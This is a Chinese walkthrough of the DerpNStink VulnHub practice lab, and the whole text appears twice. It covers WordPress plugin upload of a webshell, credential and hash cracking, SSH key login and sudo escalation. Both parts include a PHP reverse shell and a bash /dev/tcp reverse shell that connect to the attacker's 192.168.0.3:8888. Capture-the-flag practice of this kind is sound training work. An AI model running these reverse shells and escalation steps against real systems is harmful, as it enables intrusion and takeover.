作者:forwhy 本文已经作者同意并授权

靶场相对于真实环境而言,很多时候他会有人为的提示或者是各个步骤间有很强的关联性引导我们一步一步探索,这个靶场在我看来就是这种很典型的靶场,与其说是打靶不如说是一个推理游戏,在里面依靠一些漏洞以及作者留下的线索一步一步找到出口

靶场并不难,如果有兴趣可以先尝试打一下,我觉得挺有意思的。

靶场地址:https://www.vulnhub.com/entry/derpnstink-1,221/

一共4个flag

知识点:

wordpress 文件上传getshell

ssh 密钥登录

sudo 提权

工具:

arp-scan

nmap

wpscan(扫描wordpress漏洞)

hash-identifier(检测加密类型)

john(hash解密)

wireshark

dirb

主机发现

arp-scan -l

端口扫描

这里试了下ftp,没有匿名登陆于是直接访问80端口

好干净的页面,看一下源代码找到第一个flag

dirb目录爆破一下

dirb http://192.168.0.2

有好多,在根目录下分为3个目录 temporary、php、weblog其中观察weblog的子目录应该是wordpress框架,php目录下有phpmyadmin,挨个访问

其中php/phpmyadmin 没试出来弱密码,weblog页面下一直跳转到http://derpnstink.local/这个链接,根据以往的经验需要改一下hosts文件

windows该文件在 C:\Windows\System32\drivers\etc\hosts

linux在/etc/hosts

在该文件中添加一条记录就行了

然后重新访问

成功访问,默认后台默认密码一条龙进入后台

一边手工找顺便用wpscan扫一下

wpscan –url http://derpnstink.local/weblog/ #通用扫描

wpscan –url http://derpnstink.local/weblog/ –enumerate #枚举用户

wpscan没发现啥重要的,发现一个低版本插件

好像是管理侧边框的插件如下,这个插件存在文件上传漏洞(上面已经有我上传过的一句话)

点击add new然后选择文件上传

这里什么过滤措施都没有,上传之后测试成功

接下来蚁剑连接找各种有用文件,收获如下

在weblog目录下的wp-config.php目录中找到数据库用户名和密码

发现存在提权漏洞但是均未成功提权

在信息搜索的过程中发现了一些有意思的细节比如说这个在提示我们应该先登录stinky用户,还让人觉得很真实

没有其他收获,拿着刚刚的账号看一下数据库

在wordpress数据库中发现flag2,也告诉我的路径是正确的

然后在mysql中发现线索

其中unclestinky可以在cmd5中破解出来,但是要收费我使用john可能字典不够强没破解出来贴一下用到的命令

hash-identifier 查看密文加密类型(虽然我知道是mysql加密)

将密文保存到文件中使用john破解,这里指定加密类型为mysql-sha1

john –format=mysql-sha1 pass.txt

这里没破解出来,又不想花钱,就在网上找了个writeup看一下密码是: wedgie57

但是蚁剑是虚拟终端没办法切换用户,还得反弹shell,写一个php反弹shell文件放到根目录下,kali开启监听后访问该文件即可

<?php

$a=’$sock=fsockopen(“192.168.0.3”,8888);exec(“/bin/sh -i <&3 >&3 2>&3”);’;

#192.168.0.3 kaliip

#8888 kali监听的端口

system(“php -r ‘$a'”);

?>

这是我自己瞎写的能用

kali开启监听后访问一下这个文件

成功反弹shell,python -c ‘import pty;pty.spawn(“/bin/bash”)’ 可以获得一个更稳定的shell环境

切换到stinky用户,使用命令 ls -alR 递归查看当前目录下所有文件

找到几个有意思的文件

flag3

derpissues.txt derp好像是另一个用户

key.txt,藏得这么深肯定有问题

逐个查看

flag3

derpissues.txt

两个管理员的对话,大致是mrderp账户没了,stinky给他初始化了一个账号,mrderp用这个账号登上去更改了一下账号信息结束了,解题之道就在其中,但是还有个文件没看先看一下key.txt

这熟悉的格式,是ssh私钥,放到kali上,保存到/.ssh/id_rsa中(好像放哪都一样) 使用私钥登一下

发现root和stinky都拒绝但是mrderp用户可以,不过需要输入密码

看来接下来只有登录到mrderp提权得到第四面旗子了,回到stinky找密码

我就盯着derpissues.txt琢磨了好久还是想不出来,又在stinky中进行了一波信息收集

噢,我的上帝这是什么,这就是他们俩聊天中抓取的数据包了吧,作者设计的太巧妙了,吧这个数据包先复制到tmp文件夹下面然后通过蚁剑下载下来,放到kali用wireshark看一下,只看http请求就可以了

事后发现只看post请求更清晰

成功找到密码

登录ssh

芜湖,进来了按照我的思路,suid和sudo提权先试一下

好像可以sudo提权,但是没有这个路径我们自己创建一下就行了

先创建binaries,再创建一个以derpy开头的sh文件,在里面写入反弹shell代码

#!/bin/bash

bash -c “bash -i >& /dev/tcp/192.168.0.3/8888 0>&1”

kali开启监听,然后执行derpy.sh文件

成功反弹shell

flag4

靶场不难,不过感觉解题过程很有意思,像是在看一个推理小说

靶场相对于真实环境而言,很多时候他会有人为的提示或者是各个步骤间有很强的关联性引导我们一步一步探索,这个靶场在我看来就是这种很典型的靶场,与其说是打靶不如说是一个推理游戏,在里面依靠一些漏洞以及作者留下的线索一步一步找到出口

靶场并不难,如果有兴趣可以先尝试打一下,我觉得挺有意思的。

靶场地址:https://www.vulnhub.com/entry/derpnstink-1,221/

一共4个flag

知识点:

wordpress 文件上传getshell

ssh 密钥登录

sudo 提权

工具:

arp-scan

nmap

wpscan(扫描wordpress漏洞)

hash-identifier(检测加密类型)

john(hash解密)

wireshark

dirb

主机发现

arp-scan -l

端口扫描

这里试了下ftp,没有匿名登陆于是直接访问80端口

好干净的页面,看一下源代码找到第一个flag

dirb目录爆破一下

dirb http://192.168.0.2

有好多,在根目录下分为3个目录 temporary、php、weblog其中观察weblog的子目录应该是wordpress框架,php目录下有phpmyadmin,挨个访问

其中php/phpmyadmin 没试出来弱密码,weblog页面下一直跳转到http://derpnstink.local/这个链接,根据以往的经验需要改一下hosts文件

windows该文件在 C:\Windows\System32\drivers\etc\hosts

linux在/etc/hosts

在该文件中添加一条记录就行了

然后重新访问

成功访问,默认后台默认密码一条龙进入后台

一边手工找顺便用wpscan扫一下

wpscan –url http://derpnstink.local/weblog/ #通用扫描

wpscan –url http://derpnstink.local/weblog/ –enumerate #枚举用户

wpscan没发现啥重要的,发现一个低版本插件

好像是管理侧边框的插件如下,这个插件存在文件上传漏洞(上面已经有我上传过的一句话)

点击add new然后选择文件上传

这里什么过滤措施都没有,上传之后测试成功

接下来蚁剑连接找各种有用文件,收获如下

在weblog目录下的wp-config.php目录中找到数据库用户名和密码

发现存在提权漏洞但是均未成功提权

在信息搜索的过程中发现了一些有意思的细节比如说这个在提示我们应该先登录stinky用户,还让人觉得很真实

没有其他收获,拿着刚刚的账号看一下数据库

在wordpress数据库中发现flag2,也告诉我的路径是正确的

然后在mysql中发现线索

其中unclestinky可以在cmd5中破解出来,但是要收费我使用john可能字典不够强没破解出来贴一下用到的命令

hash-identifier 查看密文加密类型(虽然我知道是mysql加密)

将密文保存到文件中使用john破解,这里指定加密类型为mysql-sha1

john –format=mysql-sha1 pass.txt

这里没破解出来,又不想花钱,就在网上找了个writeup看一下密码是: wedgie57

但是蚁剑是虚拟终端没办法切换用户,还得反弹shell,写一个php反弹shell文件放到根目录下,kali开启监听后访问该文件即可

<?php

$a=’$sock=fsockopen(“192.168.0.3”,8888);exec(“/bin/sh -i <&3 >&3 2>&3”);’;

#192.168.0.3 kaliip

#8888 kali监听的端口

system(“php -r ‘$a'”);

?>

这是我自己瞎写的能用

kali开启监听后访问一下这个文件

成功反弹shell,python -c ‘import pty;pty.spawn(“/bin/bash”)’ 可以获得一个更稳定的shell环境

切换到stinky用户,使用命令 ls -alR 递归查看当前目录下所有文件

找到几个有意思的文件

flag3

derpissues.txt derp好像是另一个用户

key.txt,藏得这么深肯定有问题

逐个查看

flag3

derpissues.txt

两个管理员的对话,大致是mrderp账户没了,stinky给他初始化了一个账号,mrderp用这个账号登上去更改了一下账号信息结束了,解题之道就在其中,但是还有个文件没看先看一下key.txt

这熟悉的格式,是ssh私钥,放到kali上,保存到/.ssh/id_rsa中(好像放哪都一样) 使用私钥登一下

发现root和stinky都拒绝但是mrderp用户可以,不过需要输入密码

看来接下来只有登录到mrderp提权得到第四面旗子了,回到stinky找密码

我就盯着derpissues.txt琢磨了好久还是想不出来,又在stinky中进行了一波信息收集

噢,我的上帝这是什么,这就是他们俩聊天中抓取的数据包了吧,作者设计的太巧妙了,吧这个数据包先复制到tmp文件夹下面然后通过蚁剑下载下来,放到kali用wireshark看一下,只看http请求就可以了

事后发现只看post请求更清晰

成功找到密码

登录ssh

芜湖,进来了按照我的思路,suid和sudo提权先试一下

好像可以sudo提权,但是没有这个路径我们自己创建一下就行了

先创建binaries,再创建一个以derpy开头的sh文件,在里面写入反弹shell代码

#!/bin/bash

bash -c “bash -i >& /dev/tcp/192.168.0.3/8888 0>&1”

kali开启监听,然后执行derpy.sh文件

成功反弹shell

flag4

靶场不难,不过感觉解题过程很有意思,像是在看一个推理小说